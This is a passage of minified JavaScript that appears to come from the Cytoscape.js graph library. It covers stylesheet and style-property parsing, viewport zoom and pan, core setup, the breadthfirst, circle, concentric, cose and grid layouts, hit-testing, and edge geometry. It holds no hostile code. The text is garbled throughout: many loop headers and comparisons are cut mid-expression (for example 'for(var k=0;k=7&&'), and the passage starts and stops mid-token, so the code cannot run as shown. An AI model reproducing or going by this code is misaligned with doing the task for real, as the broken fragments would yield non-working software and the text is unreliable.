f=n.match(/^\s*((?:.|\s)+?)\s*\{((?:.|\s)+?)\}/);if(!f){hn("Halting stylesheet parsing: String stylesheet contains more to parse but no selector and block found in: "+n);break}i=f[0];var d=f[1];if(d!=="core"){var p=new Ef(d);if(p.invalid){hn("Skipping parsing of block: Invalid selector found in string stylesheet: "+d),l();continue}}var m=f[2],g=!1;a=m;for(var y=[];;){var v=a.match(/^\s*$/);if(v)break;var x=a.match(/^\s*(.+?)\s*:\s*(.+?)(?:\s*;|\s*$)/);if(!x){hn("Skipping parsing of block: Invalid formatting of style property and value definitions found in:"+m),g=!0;break}s=x[0];var b=x[1],T=x[2],S=e.properties[b];if(!S){hn("Skipping property: Invalid property name in: "+s),u();continue}var w=r.parse(b,T);if(!w){hn("Skipping property: Invalid property definition in: "+s),u();continue}y.push({name:b,val:T}),u()}if(g){l();break}r.selector(d);for(var k=0;k=7&&e[0]==="d"&&(f=new RegExp(l.data.regex).exec(e))){if(r)return!1;var p=l.data;return{name:t,value:f,strValue:""+e,mapped:p,field:f[1],bypass:r}}else if(e.length>=10&&e[0]==="m"&&(d=new RegExp(l.mapData.regex).exec(e))){if(r||h.multiple)return!1;var m=l.mapData;if(!(h.color||h.number))return!1;var g=this.parse(t,d[4]);if(!g||g.mapped)return!1;var y=this.parse(t,d[5]);if(!y||y.mapped)return!1;if(g.pfValue===y.pfValue||g.strValue===y.strValue)return hn("`"+t+": "+e+"` is not a valid mapper because the output range is zero; converting to `"+t+": "+g.strValue+"`"),this.parse(t,g.strValue);if(h.color){var v=g.value,x=y.value,b=v[0]===x[0]&&v[1]===x[1]&&v[2]===x[2]&&(v[3]===x[3]||(v[3]==null||v[3]===1)&&(x[3]==null||x[3]===1));if(b)return!1}return{name:t,value:d,strValue:""+e,mapped:m,field:d[1],fieldMin:parseFloat(d[2]),fieldMax:parseFloat(d[3]),valueMin:g.value,valueMax:y.value,bypass:r}}}if(h.multiple&&n!=="multiple"){var T;if(u?T=e.split(/\s+/):An(e)?T=e:T=[e],h.evenMultiple&&T.length%2!==0)return null;for(var S=[],w=[],k=[],A="",C=!1,R=0;R0?" ":"")+I.strValue}return h.validate&&!h.validate(S,w)?null:h.singleEnum&&C?S.length===1&&Jt(S[0])?{name:t,value:S[0],strValue:S[0],bypass:r}:null:{name:t,value:S,pfValue:k,strValue:A,bypass:r,units:w}}var L=o(function(){for(var re=0;reh.max||h.strictMax&&e===h.max))return null;var M={name:t,value:e,strValue:""+e+(E||""),units:E,bypass:r};return h.unitless||E!=="px"&&E!=="em"?M.pfValue=e:M.pfValue=E==="px"||!E?e:this.getEmSizeInPixels()*e,(E==="ms"||E==="s")&&(M.pfValue=E==="ms"?e:1e3*e),(E==="deg"||E==="rad")&&(M.pfValue=E==="rad"?e:Pze(e)),E==="%"&&(M.pfValue=e/100),M}else if(h.propList){var P=[],B=""+e;if(B!=="none"){for(var F=B.split(/\s*,\s*|\s+/),G=0;G0&&l>0&&!isNaN(n.w)&&!isNaN(n.h)&&n.w>0&&n.h>0){u=Math.min((s-2*r)/n.w,(l-2*r)/n.h),u=u>this._private.maxZoom?this._private.maxZoom:u,u=u=n.minZoom&&(n.maxZoom=r),this},"zoomRange"),minZoom:o(function(e){return e===void 0?this._private.minZoom:this.zoomRange({min:e})},"minZoom"),maxZoom:o(function(e){return e===void 0?this._private.maxZoom:this.zoomRange({max:e})},"maxZoom"),getZoomedViewport:o(function(e){var r=this._private,n=r.pan,i=r.zoom,a,s,l=!1;if(r.zoomingEnabled||(l=!0),At(e)?s=e:Yr(e)&&(s=e.level,e.position!=null?a=hE(e.position,i,n):e.renderedPosition!=null&&(a=e.renderedPosition),a!=null&&!r.panningEnabled&&(l=!0)),s=s>r.maxZoom?r.maxZoom:s,s=sr.maxZoom||!r.zoomingEnabled?s=!0:(r.zoom=u,a.push("zoom"))}if(i&&(!s||!e.cancelOnFailedZoom)&&r.panningEnabled){var h=e.pan;At(h.x)&&(r.pan.x=h.x,l=!1),At(h.y)&&(r.pan.y=h.y,l=!1),l||a.push("pan")}return a.length>0&&(a.push("viewport"),this.emit(a.join(" ")),this.notify("viewport")),this},"viewport"),center:o(function(e){var r=this.getCenterPan(e);return r&&(this._private.pan=r,this.emit("pan viewport"),this.notify("viewport")),this},"center"),getCenterPan:o(function(e,r){if(this._private.panningEnabled){if(Jt(e)){var n=e;e=this.mutableElements().filter(n)}else fo(e)||(e=this.mutableElements());if(e.length!==0){var i=e.boundingBox(),a=this.width(),s=this.height();r=r===void 0?this._private.zoom:r;var l={x:(a-r*(i.x1+i.x2))/2,y:(s-r*(i.y1+i.y2))/2};return l}}},"getCenterPan"),reset:o(function(){return!this._private.panningEnabled||!this._private.zoomingEnabled?this:(this.viewport({pan:{x:0,y:0},zoom:1}),this)},"reset"),invalidateSize:o(function(){this._private.sizeCache=null},"invalidateSize"),size:o(function(){var e=this._private,r=e.container,n=this;return e.sizeCache=e.sizeCache||(r?(function(){var i=n.window().getComputedStyle(r),a=o(function(l){return parseFloat(i.getPropertyValue(l))},"val");return{width:r.clientWidth-a("padding-left")-a("padding-right"),height:r.clientHeight-a("padding-top")-a("padding-bottom")}})():{width:1,height:1})},"size"),width:o(function(){return this.size().width},"width"),height:o(function(){return this.size().height},"height"),extent:o(function(){var e=this._private.pan,r=this._private.zoom,n=this.renderedExtent(),i={x1:(n.x1-e.x)/r,x2:(n.x2-e.x)/r,y1:(n.y1-e.y)/r,y2:(n.y2-e.y)/r};return i.w=i.x2-i.x1,i.h=i.y2-i.y1,i},"extent"),renderedExtent:o(function(){var e=this.width(),r=this.height();return{x1:0,y1:0,x2:e,y2:r,w:e,h:r}},"renderedExtent"),multiClickDebounceTime:o(function(e){if(e)this._private.multiClickDebounceTime=e;else return this._private.multiClickDebounceTime;return this},"multiClickDebounceTime")};kp.centre=kp.center;kp.autolockNodes=kp.autolock;kp.autoungrabifyNodes=kp.autoungrabify;hx={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0})};hx.attr=hx.data;hx.removeAttr=hx.removeData;fx=o(function(e){var r=this;e=ir({},e);var n=e.container;n&&!jk(n)&&jk(n[0])&&(n=n[0]);var i=n?n._cyreg:null;i=i||{},i&&i.cy&&(i.cy.destroy(),i={});var a=i.readies=i.readies||[];n&&(n._cyreg=i),i.cy=r;var s=Bi!==void 0&&n!==void 0&&!e.headless,l=e;l.layout=ir({name:s?"grid":"null"},l.layout),l.renderer=ir({name:s?"canvas":"null"},l.renderer);var u=o(function(g,y,v){return y!==void 0?y:v!==void 0?v:g},"defVal"),h=this._private={container:n,ready:!1,options:l,elements:new va(this),listeners:[],aniEles:new va(this),data:l.data||{},scratch:{},layout:null,renderer:null,destroyed:!1,notificationsEnabled:!0,minZoom:1e-50,maxZoom:1e50,zoomingEnabled:u(!0,l.zoomingEnabled),userZoomingEnabled:u(!0,l.userZoomingEnabled),panningEnabled:u(!0,l.panningEnabled),userPanningEnabled:u(!0,l.userPanningEnabled),boxSelectionEnabled:u(!0,l.boxSelectionEnabled),autolock:u(!1,l.autolock,l.autolockNodes),autoungrabify:u(!1,l.autoungrabify,l.autoungrabifyNodes),autounselectify:u(!1,l.autounselectify),styleEnabled:l.styleEnabled===void 0?s:l.styleEnabled,zoom:At(l.zoom)?l.zoom:1,pan:{x:Yr(l.pan)&&At(l.pan.x)?l.pan.x:0,y:Yr(l.pan)&&At(l.pan.y)?l.pan.y:0},animation:{current:[],queue:[]},hasCompoundNodes:!1,multiClickDebounceTime:u(250,l.multiClickDebounceTime)};this.createEmitter(),this.selectionType(l.selectionType),this.zoomRange({min:l.minZoom,max:l.maxZoom});var f=o(function(g,y){var v=g.some(L$e);if(v)return fg.all(g).then(y);y(g)},"loadExtData");h.styleEnabled&&r.setStyle([]);var d=ir({},l,l.renderer);r.initRenderer(d);var p=o(function(g,y,v){r.notifications(!1);var x=r.mutableElements();x.length>0&&x.remove(),g!=null&&(Yr(g)||An(g))&&r.add(g),r.one("layoutready",function(T){r.notifications(!0),r.emit(T),r.one("load",y),r.emitAndNotify("load")}).one("layoutstop",function(){r.one("done",v),r.emit("done")});var b=ir({},r._private.options.layout);b.eles=r.elements(),r.layout(b).run()},"setElesAndLayout");f([l.style,l.elements],function(m){var g=m[0],y=m[1];h.styleEnabled&&r.style().append(g),p(y,function(){r.startAnimationLoop(),h.ready=!0,oi(l.ready)&&r.on("ready",l.ready);for(var v=0;v0,l=!!t.boundingBox,u=cs(l?t.boundingBox:structuredClone(e.extent())),h;if(fo(t.roots))h=t.roots;else if(An(t.roots)){for(var f=[],d=0;d0;){var _=D(),O=R(_,L);if(O)_.outgoers().filter(function(Ve){return Ve.isNode()&&r.has(Ve)}).forEach(E);else if(O===null){hn("Detected double maximal shift for node `"+_.id()+"`. Bailing maximal adjustment due to cycle. Use `options.maximal: true` only on DAGs.");break}}}var M=0;if(t.avoidOverlap)for(var P=0;P0&&x[0].length<=3?Le/2:0),Ne=2*Math.PI/x[Ye].length*He;return Ye===0&&x[0].length===1&&(Ie=1),{x:K.x+Ie*Math.cos(Ne),y:K.y+Ie*Math.sin(Ne)}}else{var Ce=x[Ye].length,Fe=Math.max(Ce===1?0:l?(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)-1):(u.w-t.padding*2-ae.w)/((t.grid?de:Ce)+1),M),fe={x:K.x+(He+1-(Ce+1)/2)*Fe,y:K.y+(Ye+1-(Y+1)/2)*Q};return fe}},"getPositionTopBottom"),Te={downward:0,leftward:90,upward:180,rightward:-90};Object.keys(Te).indexOf(t.direction)===-1&&Kn("Invalid direction '".concat(t.direction,"' specified for breadthfirst layout. Valid values are: ").concat(Object.keys(Te).join(", ")));var q=o(function(pe){return aze(ne(pe),u,Te[t.direction])},"getPosition");return r.nodes().layoutPositions(this,t,q),this};HUe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,radius:void 0,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(fhe,"CircleLayout");fhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,a=n.nodes().not(":parent");e.sort&&(a=a.sort(e.sort));for(var s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=e.sweep===void 0?2*Math.PI-2*Math.PI/a.length:e.sweep,h=u/Math.max(1,a.length-1),f,d=0,p=0;p1&&e.avoidOverlap){d*=1.75;var x=Math.cos(h)-Math.cos(0),b=Math.sin(h)-Math.sin(0),T=Math.sqrt(d*d/(x*x+b*b));f=Math.max(T,f)}var S=o(function(k,A){var C=e.startAngle+A*h*(i?1:-1),R=f*Math.cos(C),I=f*Math.sin(C),L={x:l.x+R,y:l.y+I};return L},"getPos");return n.nodes().layoutPositions(this,e,S),this};qUe={fit:!0,padding:30,startAngle:3/2*Math.PI,sweep:void 0,clockwise:!0,equidistant:!1,minNodeSpacing:10,boundingBox:void 0,avoidOverlap:!0,nodeDimensionsIncludeLabels:!1,height:void 0,width:void 0,spacingFactor:void 0,concentric:o(function(e){return e.degree()},"concentric"),levelWidth:o(function(e){return e.maxDegree()/4},"levelWidth"),animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(dhe,"ConcentricLayout");dhe.prototype.run=function(){for(var t=this.options,e=t,r=e.counterclockwise!==void 0?!e.counterclockwise:e.clockwise,n=t.cy,i=e.eles,a=i.nodes().not(":parent"),s=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:n.width(),h:n.height()}),l={x:s.x1+s.w/2,y:s.y1+s.h/2},u=[],h=0,f=0;f0){var w=Math.abs(b[0].value-S.value);w>=v&&(b=[],x.push(b))}b.push(S)}var k=h+e.minNodeSpacing;if(!e.avoidOverlap){var A=x.length>0&&x[0].length>1,C=Math.min(s.w,s.h)/2-k,R=C/(x.length+A?1:0);k=Math.min(k,R)}for(var I=0,L=0;L1&&e.avoidOverlap){var O=Math.cos(_)-Math.cos(0),M=Math.sin(_)-Math.sin(0),P=Math.sqrt(k*k/(O*O+M*M));I=Math.max(P,I)}E.r=I,I+=k}if(e.equidistant){for(var B=0,F=0,G=0;G=t.numIter||(ZUe(n,t),n.temperature=n.temperature*t.coolingFactor,n.temperature=t.animationThreshold&&a(),Kk(f)}},"frame");f()}else{for(;h;)h=s(u),u++;Ice(n,t),l()}return this};kE.prototype.stop=function(){return this.stopped=!0,this.thread&&this.thread.stop(),this.emit("layoutstop"),this};kE.prototype.destroy=function(){return this.thread&&this.thread.stop(),this};YUe=o(function(e,r,n){for(var i=n.eles.edges(),a=n.eles.nodes(),s=cs(n.boundingBox?n.boundingBox:{x1:0,y1:0,w:e.width(),h:e.height()}),l={isCompound:e.hasCompoundNodes(),layoutNodes:[],idToIndex:{},nodeSize:a.size(),graphSet:[],indexToGraph:[],layoutEdges:[],edgeSize:i.size(),temperature:n.initialTemp,clientWidth:s.w,clientHeight:s.h,boundingBox:s},u=n.eles.components(),h={},f=0;f0){l.graphSet.push(C);for(var f=0;fi.count?0:i.graph},"findLCA"),phe=o(function(e,r,n,i){var a=i.graphSet[n];if(-10)var d=i.nodeOverlap*f,p=Math.sqrt(l*l+u*u),m=d*l/p,g=d*u/p;else var y=nE(e,l,u),v=nE(r,-1*l,-1*u),x=v.x-y.x,b=v.y-y.y,T=x*x+b*b,p=Math.sqrt(T),d=(e.nodeRepulsion+r.nodeRepulsion)/T,m=d*x/p,g=d*b/p;e.isLocked||(e.offsetX-=m,e.offsetY-=g),r.isLocked||(r.offsetX+=m,r.offsetY+=g)}},"nodeRepulsion"),tHe=o(function(e,r,n,i){if(n>0)var a=e.maxX-r.minX;else var a=r.maxX-e.minX;if(i>0)var s=e.maxY-r.minY;else var s=r.maxY-e.minY;return a>=0&&s>=0?Math.sqrt(a*a+s*s):0},"nodesOverlap"),nE=o(function(e,r,n){var i=e.positionX,a=e.positionY,s=e.height||1,l=e.width||1,u=n/r,h=s/l,f={};return r===0&&0n?(f.x=i,f.y=a+s/2,f):0r&&-1*h<=u&&u<=h?(f.x=i-l/2,f.y=a-l*n/2/r,f):0=h)?(f.x=i+s*r/2/n,f.y=a+s/2,f):(0>n&&(u<=-1*h||u>=h)&&(f.x=i-s*r/2/n,f.y=a-s/2),f)},"findClippingPoint"),rHe=o(function(e,r){for(var n=0;nn){var v=r.gravity*m/y,x=r.gravity*g/y;p.offsetX+=v,p.offsetY+=x}}}}},"calculateGravityForces"),iHe=o(function(e,r){var n=[],i=0,a=-1;for(n.push.apply(n,e.graphSet[0]),a+=e.graphSet[0].length;i<=a;){var s=n[i++],l=e.idToIndex[s],u=e.layoutNodes[l],h=u.children;if(0n)var a={x:n*e/i,y:n*r/i};else var a={x:e,y:r};return a},"limitForce"),ghe=o(function(e,r){var n=e.parentId;if(n!=null){var i=r.layoutNodes[r.idToIndex[n]],a=!1;if((i.maxX==null||e.maxX+i.padRight>i.maxX)&&(i.maxX=e.maxX+i.padRight,a=!0),(i.minX==null||e.minX-i.padLefti.maxY)&&(i.maxY=e.maxY+i.padBottom,a=!0),(i.minY==null||e.minY-i.padTopx&&(g+=v+r.componentSpacing,m=0,y=0,v=0)}}},"separateComponents"),oHe={fit:!0,padding:30,boundingBox:void 0,avoidOverlap:!0,avoidOverlapPadding:10,nodeDimensionsIncludeLabels:!1,spacingFactor:void 0,condense:!1,rows:void 0,cols:void 0,position:o(function(e){},"position"),sort:void 0,animate:!1,animationDuration:500,animationEasing:void 0,animateFilter:o(function(e,r){return!0},"animateFilter"),ready:void 0,stop:void 0,transform:o(function(e,r){return r},"transform")};o(yhe,"GridLayout");yhe.prototype.run=function(){var t=this.options,e=t,r=t.cy,n=e.eles,i=n.nodes().not(":parent");e.sort&&(i=i.sort(e.sort));var a=cs(e.boundingBox?e.boundingBox:{x1:0,y1:0,w:r.width(),h:r.height()});if(a.h===0||a.w===0)n.nodes().layoutPositions(this,e,function(j){return{x:a.x1,y:a.y1}});else{var s=i.size(),l=Math.sqrt(s*a.h/a.w),u=Math.round(l),h=Math.round(a.w/a.h*l),f=o(function(te){if(te==null)return Math.min(u,h);var Y=Math.min(u,h);Y==u?u=te:h=te},"small"),d=o(function(te){if(te==null)return Math.max(u,h);var Y=Math.max(u,h);Y==u?u=te:h=te},"large"),p=e.rows,m=e.cols!=null?e.cols:e.columns;if(p!=null&&m!=null)u=p,h=m;else if(p!=null&&m==null)u=p,h=Math.ceil(s/u);else if(p==null&&m!=null)h=m,u=Math.ceil(s/h);else if(h*u>s){var g=f(),y=d();(g-1)*y>=s?f(g-1):(y-1)*g>=s&&d(y-1)}else for(;h*u=s?d(x+1):f(v+1)}var b=a.w/h,T=a.h/u;if(e.condense&&(b=0,T=0),e.avoidOverlap)for(var S=0;S=h&&(O=0,_++)},"moveToNextCell"),P={},B=0;B(O=Kze(t,e,M[P],M[P+1],M[P+2],M[P+3])))return v(A,O),!0}else if(R.edgeType==="bezier"||R.edgeType==="multibezier"||R.edgeType==="self"||R.edgeType==="compound"){for(var M=R.allpts,P=0;P+5(O=jze(t,e,M[P],M[P+1],M[P+2],M[P+3],M[P+4],M[P+5])))return v(A,O),!0}for(var B=B||C.source,F=F||C.target,G=i.getArrowWidth(I,L),$=[{name:"source",x:R.arrowStartX,y:R.arrowStartY,angle:R.srcArrowAngle},{name:"target",x:R.arrowEndX,y:R.arrowEndY,angle:R.tgtArrowAngle},{name:"mid-source",x:R.midX,y:R.midY,angle:R.midsrcArrowAngle},{name:"mid-target",x:R.midX,y:R.midY,angle:R.midtgtArrowAngle}],P=0;P<$.length;P++){var U=$[P],j=a.arrowShapes[A.pstyle(U.name+"-arrow-shape").value],te=A.pstyle("width").pfValue;if(j.roughCollide(t,e,G,U.angle,{x:U.x,y:U.y},te,f)&&j.collide(t,e,G,U.angle,{x:U.x,y:U.y},te,f))return v(A),!0}h&&l.length>0&&(x(B),x(F))}o(b,"checkEdge");function T(A,C,R){return Us(A,C,R)}o(T,"preprop");function S(A,C){var R=A._private,I=p,L;C?L=C+"-":L="",A.boundingBox();var E=R.labelBounds[C||"main"],D=A.pstyle(L+"label").value,_=A.pstyle("text-events").strValue==="yes";if(!(!_||!D)){var O=T(R.rscratch,"labelX",C),M=T(R.rscratch,"labelY",C),P=T(R.rscratch,"labelAngle",C),B=A.pstyle(L+"text-margin-x").pfValue,F=A.pstyle(L+"text-margin-y").pfValue,G=E.x1-I-B,$=E.x2+I-B,U=E.y1-I-F,j=E.y2+I-F;if(P){var te=Math.cos(P),Y=Math.sin(P),oe=o(function(ae,Q){return ae=ae-O,Q=Q-M,{x:ae*te-Q*Y+O,y:ae*Y+Q*te+M}},"rotate"),J=oe(G,U),ue=oe(G,j),re=oe($,U),ee=oe($,j),Z=[J.x+B,J.y+F,re.x+B,re.y+F,ee.x+B,ee.y+F,ue.x+B,ue.y+F];if(Hs(t,e,Z))return v(A),!0}else if(yf(E,t,e))return v(A),!0}}o(S,"checkLabel");for(var w=s.length-1;w>=0;w--){var k=s[w];k.isNode()?x(k)||S(k):b(k)||S(k)||S(k,"source")||S(k,"target")}return l};Sp.getAllInBox=function(t,e,r,n){var i=this.getCachedZSortedEles().interactive,a=this.cy.zoom(),s=2/a,l=[],u=Math.min(t,r),h=Math.max(t,r),f=Math.min(e,n),d=Math.max(e,n);t=u,r=h,e=f,n=d;var p=cs({x1:t,y1:e,x2:r,y2:n}),m=[{x:p.x1,y:p.y1},{x:p.x2,y:p.y1},{x:p.x2,y:p.y2},{x:p.x1,y:p.y2}],g=[[m[0],m[1]],[m[1],m[2]],[m[2],m[3]],[m[3],m[0]]];function y(ae,Q,de){return Us(ae,Q,de)}o(y,"preprop");function v(ae,Q){var de=ae._private,ne=s,Te="";ae.boundingBox();var q=de.labelBounds.main;if(!q)return null;var Ve=y(de.rscratch,"labelX",Q),pe=y(de.rscratch,"labelY",Q),Be=y(de.rscratch,"labelAngle",Q),Ye=ae.pstyle(Te+"text-margin-x").pfValue,He=ae.pstyle(Te+"text-margin-y").pfValue,Le=q.x1-ne-Ye,Ie=q.x2+ne-Ye,Ne=q.y1-ne-He,Ce=q.y2+ne-He;if(Be){var Fe=Math.cos(Be),fe=Math.sin(Be),xe=o(function(he,z){return he=he-Ve,z=z-pe,{x:he*Fe-z*fe+Ve,y:he*fe+z*Fe+pe}},"rotate");return[xe(Le,Ne),xe(Ie,Ne),xe(Ie,Ce),xe(Le,Ce)]}else return[{x:Le,y:Ne},{x:Ie,y:Ne},{x:Ie,y:Ce},{x:Le,y:Ce}]}o(v,"getRotatedLabelBox");function x(ae,Q,de,ne){function Te(q,Ve,pe){return(pe.y-q.y)*(Ve.x-q.x)>(Ve.y-q.y)*(pe.x-q.x)}return o(Te,"ccw"),Te(ae,de,ne)!==Te(Q,de,ne)&&Te(ae,Q,de)!==Te(ae,Q,ne)}o(x,"doLinesIntersect");for(var b=0;b0?-(Math.PI-e.ang):Math.PI+e.ang},"invertVec"),dHe=o(function(e,r,n,i,a){if(e!==$ce?zce(r,e,Ic):fHe(Yo,Ic),zce(r,n,Yo),Bce=Ic.nx*Yo.ny-Ic.ny*Yo.nx,Fce=Ic.nx*Yo.nx-Ic.ny*-Yo.ny,Fu=Math.asin(Math.max(-1,Math.min(1,Bce))),Math.abs(Fu)<1e-6){eI=r.x,tI=r.y,gp=Qm=0;return}vp=1,qk=!1,Fce<0?Fu<0?Fu=Math.PI+Fu:(Fu=Math.PI-Fu,vp=-1,qk=!0):Fu>0&&(vp=-1,qk=!0),r.radius!==void 0?Qm=r.radius:Qm=i,fp=Fu/2,Ik=Math.min(Ic.len/2,Yo.len/2),a?(Nc=Math.abs(Math.cos(fp)*Qm/Math.sin(fp)),Nc>Ik?(Nc=Ik,gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))):gp=Qm):(Nc=Math.min(Ik,Qm),gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))),rI=r.x+Yo.nx*Nc,nI=r.y+Yo.ny*Nc,eI=rI-Yo.ny*gp*vp,tI=nI+Yo.nx*gp*vp,The=r.x+Ic.nx*Nc,whe=r.y+Ic.ny*Nc,$ce=r},"calcCornerArc");o(khe,"drawPreparedRoundCorner");o(LI,"getRoundCorner");dx=.01,pHe=Math.sqrt(2*dx),$a={};$a.findMidptPtsEtc=function(t,e){var r=e.posPts,n=e.intersectionPts,i=e.vectorNormInverse,a,s=t.pstyle("source-endpoint"),l=t.pstyle("target-endpoint"),u=s.units!=null&&l.units!=null,h=o(function(w,k,A,C){var R=C-k,I=A-w,L=Math.sqrt(I*I+R*R);return{x:-R/L,y:I/L}},"recalcVectorNormInverse"),f=t.pstyle("edge-distances").value;switch(f){case"node-position":a=r;break;case"intersection":a=n;break;case"endpoints":{if(u){var d=this.manualEndptToPx(t.source()[0],s),p=_i(d,2),m=p[0],g=p[1],y=this.manualEndptToPx(t.target()[0],l),v=_i(y,2),x=v[0],b=v[1],T={x1:m,y1:g,x2:x,y2:b};i=h(m,g,x,b),a=T}else hn("Edge ".concat(t.id()," has edge-distances:endpoints specified without manual endpoints specified via source-endpoint and target-endpoint. Falling back on edge-distances:intersection (default).")),a=n;break}}return{midptPts:a,vectorNormInverse:i}};$a.findHaystackPoints=function(t){for(var e=0;e0?Math.max(z-se,0):Math.min(z+se,0)},"subDWH"),D=E(I,C),_=E(L,R),O=!1;b===h?x=Math.abs(D)>Math.abs(_)?i:n:b===u||b===l?(x=n,O=!0):(b===a||b===s)&&(x=i,O=!0);var M=x===n,P=M?_:D,B=M?L:I,F=yI(B),G=!1;!(O&&(S||k))&&(b===l&&B<0||b===u&&B>0||b===a&&B>0||b===s&&B<0)&&(F*=-1,P=F*Math.abs(P),G=!0);var $;if(S){var U=w<0?1+w:w;$=U*P}else{var j=w<0?P:0;$=j+w*F}var te=o(function(z){return Math.abs(z)=Math.abs(P)},"getIsTooClose"),Y=te($),oe=te(Math.abs(P)-Math.abs($)),J=Y||oe;if(J&&!G)if(M){var ue=Math.abs(B)<=p/2,re=Math.abs(I)<=m/2;if(ue){var ee=(f.x1+f.x2)/2,Z=f.y1,K=f.y2;r.segpts=[ee,Z,ee,K]}else if(re){var ae=(f.y1+f.y2)/2,Q=f.x1,de=f.x2;r.segpts=[Q,ae,de,ae]}else r.segpts=[f.x1,f.y2]}else{var ne=Math.abs(B)<=d/2,Te=Math.abs(L)<=g/2;if(ne){var q=(f.y1+f.y2)/2,Ve=f.x1,pe=f.x2;r.segpts=[Ve,q,pe,q]}else if(Te){var Be=(f.x1+f.x2)/2,Ye=f.y1,He=f.y2;r.segpts=[Be,Ye,Be,He]}else r.segpts=[f.x2,f.y1]}else if(M){var Le=f.y1+$+(v?p/2*F:0),Ie=f.x1,Ne=f.x2;r.segpts=[Ie,Le,Ne,Le]}else{var Ce=f.x1+$+(v?d/2*F:0),Fe=f.y1,fe=f.y2;r.segpts=[Ce,Fe,Ce,fe]}if(r.isRound){var xe=t.pstyle("taxi-radius").value,W=t.pstyle("radius-type").value[0]==="arc-radius";r.radii=new Array(r.segpts.length/2).fill(xe),r.isArcRadius=new Array(r.segpts.length/2).fill(W)}};$a.tryToCorrectInvalidPoints=function(t,e){var r=t._private.rscratch;if(r.edgeType==="bezier"){var n=e.srcPos,i=e.tgtPos,a=e.srcW,s=e.srcH,l=e.tgtW,u=e.tgtH,h=e.srcShape,f=e.tgtShape,d=e.srcCornerRadius,p=e.tgtCornerRadius,m=e.srcRs,g=e.tgtRs,y=!At(r.startX)||!At(r.startY),v=!At(r.arrowStartX)||!At(r.arrowStartY),x=!At(r.endX)||!At(r.endY),b=!At(r.arrowEndX)||!At(r.arrowEndY),T=3,S=this.getArrowWidth(t.pstyle("width").pfValue,t.pstyle("arrow-scale").value)*this.arrowShapeWidth,w=T*S,k=Tp({x:r.ctrlpts[0],y:r.ctrlpts[1]},{x:r.startX,y:r.startY}),A=kB.poolIndex()){var F=P;P=B,B=F}var G=D.srcPos=P.position(),$=D.tgtPos=B.position(),U=D.srcW=P.outerWidth(),j=D.srcH=P.outerHeight(),te=D.tgtW=B.outerWidth(),Y=D.tgtH=B.outerHeight(),oe=D.srcShape=r.nodeShapes[e.getNodeShape(P)],J=D.tgtShape=r.nodeShapes[e.getNodeShape(B)],ue=D.srcCornerRadius=P.pstyle("corner-radius").value==="auto"?"auto":P.pstyle("corner-radius").pfValue,re=D.tgtCornerRadius=B.pstyle("corner-radius").value==="auto"?"auto":B.pstyle("corner-radius").pfValue,ee=D.tgtRs=B._private.rscratch,Z=D.srcRs=P._private.rscratch;D.dirCounts={north:0,west:0,south:0,east:0,northwest:0,southwest:0,northeast:0,southeast:0};for(var K=0;K=pHe||(Ne=Math.sqrt(Math.max(Ie*Ie,dx)+Math.max(Le*Le,dx)));var Ce=D.vector={x:Ie,y:Le},Fe=D.vectorNorm={x:Ce.x/Ne,y:Ce.y/Ne},fe={x:-Fe.y,y:Fe.x};D.nodesOverlap=!At(Ne)||J.checkPoint(q[0],q[1],0,te,Y,$.x,$.y,re,ee)||oe.checkPoint(pe[0],pe[1],0,U,j,G.x,G.y,ue,Z),D.vectorNormInverse=fe,_={nodesOverlap:D.nodesOverlap,dirCounts:D.dirCounts,calculatedIntersection:!0,hasBezier:D.hasBezier,hasUnbundled:D.hasUnbundled,eles:D.eles,srcPos:$,srcRs:ee,tgtPos:G,tgtRs:Z,srcW:te,srcH:Y,tgtW:U,tgtH:j,srcIntn:Be,tgtIntn:Ve,srcShape:J,tgtShape:oe,posPts:{x1:He.x2,y1:He.y2,x2:He.x1,y2:He.y1},intersectionPts:{x1:Ye.x2,y1:Ye.y2,x2:Ye.x1,y2:Ye.y1},vector:{x:-Ce.x,y:-Ce.y},vectorNorm:{x:-Fe.x,y:-Fe.y},vectorNormInverse:{x:-fe.x,y:-fe.y}}}var xe=Te?_:D;Q.nodesOverlap=xe.nodesOverlap,Q.srcIntn=xe.srcIntn,Q.tgtIntn=xe.tgtIntn,Q.isRound=de.startsWith("round"),i&&(P.isParent()||P.isChild()||B.isParent()||B.isChild())&&(P.parents().anySame(B)||B.parents().anySame(P)||P.same(B)&&P.isParent())?e.findCompoundLoopPoints(ae,xe,K,ne):P===B?e.findLoopPoints(ae,xe,K,ne):de.endsWith("segments")?e.findSegmentsPoints(ae,xe):de.endsWith("taxi")?e.findTaxiPoints(ae,xe):de==="straight"||!ne&&D.eles.length%2===1&&K===Math.floor(D.eles.length/2)?e.findStraightEdgePoints(ae):e.findBezierPoints(ae,xe,K,ne,Te),e.findEndpoints(ae),e.tryToCorrectInvalidPoints(ae,xe),e.checkForInvalidEdgeWarning(ae),e.storeAllpts(ae),e.storeEdgeProjections(ae),e.calculateArrowAngles(ae),e.recalculateEdgeLabelProjections(ae),e.calculateLabelAngles(ae)}},"_loop"),A=0;A0){var 